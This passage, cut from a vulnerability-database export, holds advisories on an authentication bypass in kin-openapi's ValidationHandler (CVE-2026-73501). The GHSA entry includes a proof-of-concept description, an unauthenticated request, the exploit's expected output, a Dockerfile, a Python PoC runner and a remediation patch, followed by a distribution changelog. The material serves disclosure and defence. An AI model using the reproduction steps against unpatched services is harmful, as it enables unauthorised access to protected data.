bypass confirmed!\n  Protected resource /secret returned SECRET_DATA without credentials.\n  ValidationHandler.Load() silently injected NoopAuthenticationFunc.\n  Security requirement was bypassed. VULN-001 REPRODUCED.\n```\n\nThe contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential.\n\n**Remediation patch**\n\n```diff\n--- a/openapi3filter/validation_handler.go\n+++ b/openapi3filter/validation_handler.go\n@@\n  if h.Handler == nil {\n      h.Handler = http.DefaultServeMux\n  }\n- if h.AuthenticationFunc == nil {\n-     h.AuthenticationFunc = NoopAuthenticationFunc\n- }\n  if h.ErrorEncoder == nil {\n      h.ErrorEncoder = DefaultErrorEncoder\n  }\n```\n\nAfter this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`.\n\n### Impact\nThis is an **authentication bypass** vulnerability (CWE-287). Any application that:\n\n1. uses `openapi3filter.ValidationHandler` as its HTTP middleware, and\n2. declares one or more `security` requirements in its OpenAPI specification, and\n3. does **not** explicitly set `AuthenticationFunc`,\n\nis fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.\n\nAffected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the \"getting started\" path are affected without any additional mistake.\n\nThe confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM golang:1.25-alpine\n\n# Install git (needed by go mod for some packages)\nRUN apk add --no-cache git\n\nWORKDIR /workspace\n\n# Copy the vulnerable kin-openapi repository as a local module replacement\nCOPY repo/ /kin-openapi/\n\n# Set up the PoC Go module\nRUN mkdir -p /workspace/poc\nWORKDIR /workspace/poc\n\n# Create go.mod that uses the local copy of the vulnerable kin-openapi\nRUN cat \u003e go.mod \u003c\u003c'EOF'\nmodule kin-openapi-auth-bypass-poc\n\ngo 1.25\n\nrequire github.com/getkin/kin-openapi v0.143.0\n\nreplace github.com/getkin/kin-openapi =\u003e /kin-openapi\nEOF\n\n# Copy the PoC source (build context is the parent directory of vuln-001/)\nCOPY vuln-001/main.go /workspace/poc/main.go\n\n# Resolve dependencies and build\nRUN go mod tidy \u0026\u0026 \\\n    go build -o /poc-binary .\n\n# Run the PoC\nCMD [\"/poc-binary\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default\nRepository: getkin/kin-openapi v0.143.0\nCWE: CWE-287 (Improper Authentication)\nCVSS: 9.1 (Critical)\n\nVulnerability Summary:\n    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.\n    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement\n    passes without validation when the user forgets to set AuthenticationFunc.\n\n    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing\n    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).\n\nUsage:\n    python3 poc.py [--build-dir \u003cdir\u003e] [--image \u003cname\u003e] [--no-cleanup]\n\"\"\"\n\nimport argparse\nimport os\nimport subprocess\nimport sys\nimport json\n\nIMAGE_NAME = \"vuln001-auth-bypass-poc\"\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nREPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), \"repo\")\n\nSUCCESS_MARKER = \"[EXPLOIT SUCCESS]\"\nEXPECTED_STATUS = \"status=200\"\nEXPECTED_BODY = 'body=\"SECRET_DATA\\\\n\"'\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return (returncode, stdout, stderr).\"\"\"\n    print(f\"[CMD] {' '.join(cmd)}\")\n    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)\n    if result.stdout:\n        print(result.stdout, end=\"\")\n    if result.stderr:\n        print(result.stderr, end=\"\", file=sys.stderr)\n    return result.returncode, result.stdout, result.stderr\n\n\ndef build_image(build_dir):\n    \"\"\"Build the Docker image containing the PoC binary.\"\"\"\n    print(\"\\n[*] Building Docker image ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"build\",\n        \"--build-arg\", f\"REPO_DIR={REPO_DIR}\",\n        \"-t\", IMAGE_NAME,\n        \"-f\", os.path.join(build_dir, \"Dockerfile\"),\n        # Build context is the reports root so both Dockerfile and repo/ are reachable\n        os.path.dirname(build_dir),\n    ])\n    if rc != 0:\n        print(f\"[ERROR] Docker build failed (exit {rc})\", file=sys.stderr)\n        sys.exit(rc)\n    print(\"[*] Docker build succeeded.\")\n    return f\"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}\"\n\n\ndef run_container():\n    \"\"\"Run the container and capture output.\"\"\"\n    print(\"\\n[*] Running PoC container ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"run\", \"--rm\",\n        \"--network\", \"none\",   # no network access needed\n        IMAGE_NAME,\n    ])\n    combined = stdout + stderr\n    return rc, combined\n\n\ndef evaluate(exit_code, output):\n    \"\"\"Determine whether the exploit was confirmed.\"\"\"\n    passed = (\n        exit_code == 0\n        and SUCCESS_MARKER in output\n        and EXPECTED_STATUS in output\n        and EXPECTED_BODY in output\n    )\n    return passed\n\n\ndef cleanup_image():\n    \"\"\"Remove the Docker image.\"\"\"\n    print(f\"\\n[*] Removing Docker image {IMAGE_NAME} ...\")\n    run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME])\n\n\ndef main():\n    global IMAGE_NAME\n    parser = argparse.ArgumentParser(description=\"VULN-001 Auth Bypass PoC runner\")\n    parser.add_argument(\"--build-dir\", default=SCRIPT_DIR,\n                        help=\"Directory containing Dockerfile and main.go\")\n    parser.add_argument(\"--image\", default=IMAGE_NAME,\n                        help=\"Docker image name to build/run\")\n    parser.add_argument(\"--no-cleanup\", action=\"store_true\",\n                        help=\"Keep the Docker image after the run\")\n    args = parser.parse_args()\n    IMAGE_NAME = args.image\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default\")\n    print(\"=\" * 60)\n    print(f\"  Build dir : {args.build_dir}\")\n    print(f\"  Repo dir  : {REPO_DIR}\")\n    print(f\"  Image     : {IMAGE_NAME}\")\n\n    build_cmd = build_image(args.build_dir)\n    run_cmd = f\"docker run --rm --network none {IMAGE_NAME}\"\n\n    exit_code, output = run_container()\n\n    if not args.no_cleanup:\n        cleanup_image()\n\n    passed = evaluate(exit_code, output)\n\n    print(\"\\n\" + \"=\" * 60)\n    if passed:\n        print(\"[RESULT] PASS — Auth bypass CONFIRMED\")\n        print(\"  The protected handler returned SECRET_DATA without credentials.\")\n        print(\"  ValidationHandler.Load() injected NoopAuthenticationFunc silently.\")\n    else:\n        print(f\"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})\")\n\n    print(f\"\\nContainer exit code : {exit_code}\")\n    print(f\"Success marker found: {SUCCESS_MARKER in output}\")\n    print(f\"Status 200 found    : {EXPECTED_STATUS in output}\")\n    print(f\"Secret body found   : {EXPECTED_BODY in output}\")\n\n    # Exit with code that signals pass/fail\n    sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","status":"published","published":"2026-07-24T16:52:05Z","modified":"2026-08-14T04:21:32Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:41:01.23108Z"}],"nvd":[{"id":"CVE-2026-73501","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.144.0, ValidationHandler.Load() in openapi3filter/validation_handler.go silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which returns nil without checking credentials. This substitution causes every OpenAPI security requirement to be satisfied for unauthenticated requests when an application relies on ValidationHandler as its enforcement middleware. The no-op callback prevents the fail-closed ErrAuthenticationServiceMissing path from being reached and forwards the request to protected handlers that may require an API key, OAuth token, or another security scheme. This issue is fixed in version 0.144.0.","status":"published","published":"2026-08-12T22:17:17.443Z","modified":"2026-10-24T15:10:00.19Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T14:12:37.217486Z"}],"osv":[{"id":"CVE-2026-73501","title":"kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.144.0, ValidationHandler.Load() in openapi3filter/validation_handler.go silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which returns nil without checking credentials. This substitution causes every OpenAPI security requirement to be satisfied for unauthenticated requests when an application relies on ValidationHandler as its enforcement middleware. The no-op callback prevents the fail-closed ErrAuthenticationServiceMissing path from being reached and forwards the request to protected handlers that may require an API key, OAuth token, or another security scheme. This issue is fixed in version 0.144.0.","status":"published","published":"2026-08-12T21:23:40.623Z","modified":"2026-10-28T02:30:40.457163045Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T15:45:16.365946Z"},{"id":"DEBIAN-CVE-2026-73501","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.144.0, ValidationHandler.Load() in openapi3filter/validation_handler.go silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which returns nil without checking credentials. This substitution causes every OpenAPI security requirement to be satisfied for unauthenticated requests when an application relies on ValidationHandler as its enforcement middleware. The no-op callback prevents the fail-closed ErrAuthenticationServiceMissing path from being reached and forwards the request to protected handlers that may require an API key, OAuth token, or another security scheme. This issue is fixed in version 0.144.0.","status":"published","published":"2026-08-12T22:17:17.443Z","modified":"2026-10-25T09:47:34.820271993Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:46:02.499355Z"},{"id":"GHSA-r277-6w6q-xmqw","title":"kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default","description":"### Summary\n`ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware. \n\n### Details\n`ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler begins serving:\n\n```go\n// openapi3filter/validation_handler.go:47-49\nif h.AuthenticationFunc == nil {\n    h.AuthenticationFunc = NoopAuthenticationFunc\n}\n```\n\n`NoopAuthenticationFunc` is defined as:\n\n```go\n// openapi3filter/validation_handler.go:17-18\nfunc NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }\n```\n\nIt always returns `nil`, meaning every security scheme check it handles is automatically approved.\n\nWhen a request arrives, `ServeHTTP` → `before` → `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`:\n\n```go\n// openapi3filter/validation_handler.go:91-103\noptions := \u0026Options{\n    AuthenticationFunc: h.AuthenticationFunc,\n}\nrequestValidationInput := \u0026RequestValidationInput{\n    Request:    r,\n    PathParams: pathParams,\n    Route:      route,\n    Options:    options,\n}\nif err = ValidateRequest(r.Context(), requestValidationInput); err != nil {\n    return err\n}\n```\n\nInside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`:\n\n```go\n// openapi3filter/validate_request.go:436-438\nf := options.AuthenticationFunc\nif f == nil {\n    return ErrAuthenticationServiceMissing   // fail-closed path — never reached via ValidationHandler\n}\n// ...\n// openapi3filter/validate_request.go:497-503\nif err := f(ctx, \u0026AuthenticationInput{...}); err != nil {\n    return err\n}\n```\n\nBecause `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`).\n\nThe critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable.\n\nAffected source file and line: `openapi3filter/validation_handler.go:47–49` (commit `30e2923`, tag `v0.143.0`).\n\n### PoC\n**Environment**\n\n```\nDocker (any version supporting multi-stage builds)\nGo 1.25 (inside the container via golang:1.25-alpine)\ngetkin/kin-openapi v0.143.0 (local source copy)\n```\n\n**Step 1 — Build the Docker image**\n\nFrom the repository root (parent of `vuln-001/`):\n\n```bash\ndocker build \\\n  -t vuln001-auth-bypass-poc \\\n  -f vuln-001/Dockerfile \\\n  reports/github_web_233_getkin__kin-openapi\n```\n\nThe `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run --rm --network none vuln001-auth-bypass-poc\n```\n\n**Step 3 (alternative) — Use the Python helper**\n\n```bash\npython3 vuln-001/poc.py --no-cleanup\n```\n\n**What the PoC does**\n\n`main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme:\n\n```yaml\npaths:\n  /secret:\n    get:\n      security:\n        - apiKey: []\ncomponents:\n  securitySchemes:\n    apiKey:\n      type: apiKey\n      name: X-Api-Key\n      in: header\n```\n\nIt then constructs a `ValidationHandler` **without** setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header:\n\n```http\nGET /secret HTTP/1.1\nHost: example.test\n# X-Api-Key header is intentionally absent\n```\n\n**Expected (vulnerable) output**\n\n```\n=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===\n  Direct ValidateRequest (nil auth) =\u003e ERROR: security requirements failed: missing AuthenticationFunc\n  -\u003e Fail-CLOSED behavior confirmed: missing auth function is rejected\n\n=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===\n  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret\n  ValidationHandler.AuthenticationFunc: NOT SET (nil)\n  Load() will inject NoopAuthenticationFunc, which always returns nil\n\n  Request:  GET /secret  (X-Api-Key header: absent)\n  Response: status=200  body=\"SECRET_DATA\\n\"\n\n[EXPLOIT SUCCESS] Auth bypass confirmed!\n  Protected resource /secret returned SECRET_DATA without credentials.\n  ValidationHandler.Load() silently injected NoopAuthenticationFunc.\n  Security requirement was bypassed. VULN-001 REPRODUCED.\n```\n\nThe contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential.\n\n**Remediation patch**\n\n```diff\n--- a/openapi3filter/validation_handler.go\n+++ b/openapi3filter/validation_handler.go\n@@\n  if h.Handler == nil {\n      h.Handler = http.DefaultServeMux\n  }\n- if h.AuthenticationFunc == nil {\n-     h.AuthenticationFunc = NoopAuthenticationFunc\n- }\n  if h.ErrorEncoder == nil {\n      h.ErrorEncoder = DefaultErrorEncoder\n  }\n```\n\nAfter this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`.\n\n### Impact\nThis is an **authentication bypass** vulnerability (CWE-287). Any application that:\n\n1. uses `openapi3filter.ValidationHandler` as its HTTP middleware, and\n2. declares one or more `security` requirements in its OpenAPI specification, and\n3. does **not** explicitly set `AuthenticationFunc`,\n\nis fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.\n\nAffected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the \"getting started\" path are affected without any additional mistake.\n\nThe confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM golang:1.25-alpine\n\n# Install git (needed by go mod for some packages)\nRUN apk add --no-cache git\n\nWORKDIR /workspace\n\n# Copy the vulnerable kin-openapi repository as a local module replacement\nCOPY repo/ /kin-openapi/\n\n# Set up the PoC Go module\nRUN mkdir -p /workspace/poc\nWORKDIR /workspace/poc\n\n# Create go.mod that uses the local copy of the vulnerable kin-openapi\nRUN cat \u003e go.mod \u003c\u003c'EOF'\nmodule kin-openapi-auth-bypass-poc\n\ngo 1.25\n\nrequire github.com/getkin/kin-openapi v0.143.0\n\nreplace github.com/getkin/kin-openapi =\u003e /kin-openapi\nEOF\n\n# Copy the PoC source (build context is the parent directory of vuln-001/)\nCOPY vuln-001/main.go /workspace/poc/main.go\n\n# Resolve dependencies and build\nRUN go mod tidy \u0026\u0026 \\\n    go build -o /poc-binary .\n\n# Run the PoC\nCMD [\"/poc-binary\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default\nRepository: getkin/kin-openapi v0.143.0\nCWE: CWE-287 (Improper Authentication)\nCVSS: 9.1 (Critical)\n\nVulnerability Summary:\n    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.\n    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement\n    passes without validation when the user forgets to set AuthenticationFunc.\n\n    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing\n    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).\n\nUsage:\n    python3 poc.py [--build-dir \u003cdir\u003e] [--image \u003cname\u003e] [--no-cleanup]\n\"\"\"\n\nimport argparse\nimport os\nimport subprocess\nimport sys\nimport json\n\nIMAGE_NAME = \"vuln001-auth-bypass-poc\"\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nREPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), \"repo\")\n\nSUCCESS_MARKER = \"[EXPLOIT SUCCESS]\"\nEXPECTED_STATUS = \"status=200\"\nEXPECTED_BODY = 'body=\"SECRET_DATA\\\\n\"'\n\n\ndef run(cmd, **kwargs):\n    \"\"\"Run a shell command and return (returncode, stdout, stderr).\"\"\"\n    print(f\"[CMD] {' '.join(cmd)}\")\n    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)\n    if result.stdout:\n        print(result.stdout, end=\"\")\n    if result.stderr:\n        print(result.stderr, end=\"\", file=sys.stderr)\n    return result.returncode, result.stdout, result.stderr\n\n\ndef build_image(build_dir):\n    \"\"\"Build the Docker image containing the PoC binary.\"\"\"\n    print(\"\\n[*] Building Docker image ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"build\",\n        \"--build-arg\", f\"REPO_DIR={REPO_DIR}\",\n        \"-t\", IMAGE_NAME,\n        \"-f\", os.path.join(build_dir, \"Dockerfile\"),\n        # Build context is the reports root so both Dockerfile and repo/ are reachable\n        os.path.dirname(build_dir),\n    ])\n    if rc != 0:\n        print(f\"[ERROR] Docker build failed (exit {rc})\", file=sys.stderr)\n        sys.exit(rc)\n    print(\"[*] Docker build succeeded.\")\n    return f\"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}\"\n\n\ndef run_container():\n    \"\"\"Run the container and capture output.\"\"\"\n    print(\"\\n[*] Running PoC container ...\")\n    rc, stdout, stderr = run([\n        \"docker\", \"run\", \"--rm\",\n        \"--network\", \"none\",   # no network access needed\n        IMAGE_NAME,\n    ])\n    combined = stdout + stderr\n    return rc, combined\n\n\ndef evaluate(exit_code, output):\n    \"\"\"Determine whether the exploit was confirmed.\"\"\"\n    passed = (\n        exit_code == 0\n        and SUCCESS_MARKER in output\n        and EXPECTED_STATUS in output\n        and EXPECTED_BODY in output\n    )\n    return passed\n\n\ndef cleanup_image():\n    \"\"\"Remove the Docker image.\"\"\"\n    print(f\"\\n[*] Removing Docker image {IMAGE_NAME} ...\")\n    run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME])\n\n\ndef main():\n    global IMAGE_NAME\n    parser = argparse.ArgumentParser(description=\"VULN-001 Auth Bypass PoC runner\")\n    parser.add_argument(\"--build-dir\", default=SCRIPT_DIR,\n                        help=\"Directory containing Dockerfile and main.go\")\n    parser.add_argument(\"--image\", default=IMAGE_NAME,\n                        help=\"Docker image name to build/run\")\n    parser.add_argument(\"--no-cleanup\", action=\"store_true\",\n                        help=\"Keep the Docker image after the run\")\n    args = parser.parse_args()\n    IMAGE_NAME = args.image\n\n    print(\"=\" * 60)\n    print(\"VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default\")\n    print(\"=\" * 60)\n    print(f\"  Build dir : {args.build_dir}\")\n    print(f\"  Repo dir  : {REPO_DIR}\")\n    print(f\"  Image     : {IMAGE_NAME}\")\n\n    build_cmd = build_image(args.build_dir)\n    run_cmd = f\"docker run --rm --network none {IMAGE_NAME}\"\n\n    exit_code, output = run_container()\n\n    if not args.no_cleanup:\n        cleanup_image()\n\n    passed = evaluate(exit_code, output)\n\n    print(\"\\n\" + \"=\" * 60)\n    if passed:\n        print(\"[RESULT] PASS — Auth bypass CONFIRMED\")\n        print(\"  The protected handler returned SECRET_DATA without credentials.\")\n        print(\"  ValidationHandler.Load() injected NoopAuthenticationFunc silently.\")\n    else:\n        print(f\"[RESULT] FAIL — Exploit not confirmed (exit={exit_code})\")\n\n    print(f\"\\nContainer exit code : {exit_code}\")\n    print(f\"Success marker found: {SUCCESS_MARKER in output}\")\n    print(f\"Status 200 found    : {EXPECTED_STATUS in output}\")\n    print(f\"Secret body found   : {EXPECTED_BODY in output}\")\n\n    # Exit with code that signals pass/fail\n    sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```","status":"published","published":"2026-07-24T16:52:05Z","modified":"2026-09-10T03:50:52.909683602Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-287"],"updated_at":"2026-11-02T15:46:55.122811Z"},{"id":"RHSA-2026:54549","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-08-14T10:16:52Z","modified":"2026-10-20T10:11:12Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:59028","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-08-28T10:10:34Z","modified":"2026-10-14T10:24:28Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:59030","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-08-27T10:15:40Z","modified":"2026-10-16T10:20:52Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"RHSA-2026:60866","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-08-30T10:06:50Z","modified":"2026-10-20T10:12:18Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"UBUNTU-CVE-2026-73501","description":"kin-openapi is a Go project for handling OpenAPI files. Prior to 0.144.0, ValidationHandler.Load() in openapi3filter/validation_handler.go silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which returns nil without checking credentials. This substitution causes every OpenAPI security requirement to be satisfied for unauthenticated requests when an application relies on ValidationHandler as its enforcement middleware. The no-op callback prevents the fail-closed ErrAuthenticationServiceMissing path from being reached and forwards the request to protected handlers that may require an API key, OAuth token, or another security scheme. This issue is fixed in version 0.144.0.","status":"published","published":"2026-08-12T22:17:00Z","modified":"2026-10-17T13:01:03.604573627Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T16:57:08.628462Z"},{"id":"GO-2026-6095","title":"Authentication bypass via default NoopAuthenticationFunc in github.com/getkin/kin-openapi","description":"Authentication bypass via default NoopAuthenticationFunc in github.com/getkin/kin-openapi","status":"published","published":"2026-08-18T16:38:10Z","modified":"2026-09-06T03:25:56.746350332Z","updated_at":"2026-11-02T15:47:02.838915Z"},{"id":"openSUSE-SU-2026:11684-1","title":"grafana-12.4.10-1.1 on GA media","description":"These are all security issues fixed in the grafana-12.4.10-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-04T00:00:00Z","modified":"2026-09-05T09:45:03.952740239Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:22125-1","title":"Security update for grafana","description":"This update for grafana fixes the following issues:\n\nChanges in grafana:\n\nUpdate to version 12.4.10:\n\n  * Security:\n\n    * CVE-2026-17183: Fix exposing data accessible through Grafana's configured datasource credentials (bsc#1275934)\n    * CVE-2026-2303: Drop dependency on vulnerable go.mongodb.org/mongo-driver (bsc#1269841)\n    * CVE-2026-17033: Fix stored XSS via external Alertmanager generatorURL (bsc#1276426)\n    * CVE-2026-73501: Fix fail-open authentication bypass in github.com/getkin/kin-openapi (bsc#1276973)\n    * CVE-2026-19475: Fix DoS in PostgreSQL Datasource (bsc#1278307)\n    * CVE-2026-14199: Fix session takeover via Auth Proxy cache key collision (bsc#1278322)\n\n  * Bug fixes:\n\n    * Dashboards: Fix adhoc and groupby variable datasource on UI import\n    * Dashboards: Fix version dates and user display names in the legacy version history page\n\nUpdate to version 12.4.9:\n\n  * Features and enhancements:\n\n    * Dashboard Import: Labels in v2 schema\n\n  * Bug fixes:\n\n    * Azure Monitor: fix migration for dimension filters\n\nUpdate to version 12.4.8:\n\n  * Security:\n\n    * CVE-2026-19197: Fix access control in dashboard snapshots (bsc#1277025)\n\nUpdate to version 12.4.7:\n\n  * Security:\n\n    * CVE-2026-56852: Fix infinite loop on truncated/invalid UTF-8 input in golang.org/x/text/unicode/norm (bsc#1272008)\n\n  * Features and enhancements:\n\n    * Dashboards: Get annotations and dashboard endpoint performance improvements\n\n  * Bug fixes:\n\n    * DashboardDS: Fix Mixed panels with a time override stuck in permanent loading\n\nUpdate to version 12.4.6:\n\n  * Security:\n\n    * CVE-2026-41178: Fix opentelemetry-go's baggage parsing (bsc#1276658)\n\n  * Features and enhancements:\n\n    * Alerting: Add protected fields authorization check to provisioning API\n    * Alerting: Return 403 instead of 500 on contact point provenance mismatch\n\n  * Bug fixes:\n\n    * Jaeger: Handle gzip, deflate, and brotli compressed API responses\n    * Alerting: fix ORM table mapping bug causing SELECT alert_rule columns FROM user on PostgreSQL\n\n* CVE-2026-39882: Prevent memory exhaustion DoS in OpenTelemetry OTLP HTTP exporters by updating to v1.43.0.  (bsc#1274217)\n* CVE-2026-42127: Fix DoS through memory exhaustion in grafana'a public dashboard query endpoint (bsc#1268868)\n* CVE-2026-9029: Fix arbitrary code execution and information disclosure via XSS in geomap panel (bsc#1272328)\n* CVE-2026-33814: Fix infinite loop in HTTP/2 transport by updating golang.org/x/net (bsc#1265763)\n* CVE-2026-8609: Fix pre-authentication DoS in the OAuth login route (bsc#1271330)\n* CVE-2026-1229: Update github.com/cloudflare/circl to fix producing incorect output for specific inputs (bsc#1265525) (bsc#1262187)\n* CVE-2026-21723: Fix DoS vulnerability in Templates Test endpoint (bsc#1272427)\n* CVE-2026-41606: Fix potential DoS in Apache Thrift (bsc#1263330)\n","status":"published","published":"2026-10-19T16:37:11Z","modified":"2026-10-20T19:15:04.875139874Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-GOBINARY-GHSA-r277-6w6q-xmqw","title":"GHSA-r277-6w6q-xmqw in github.com/getkin/kin-openapi - Patched by Root","description":"Root has patched GHSA-r277-6w6q-xmqw in the github.com/getkin/kin-openapi package for Root:Go. Multiple fixed versions 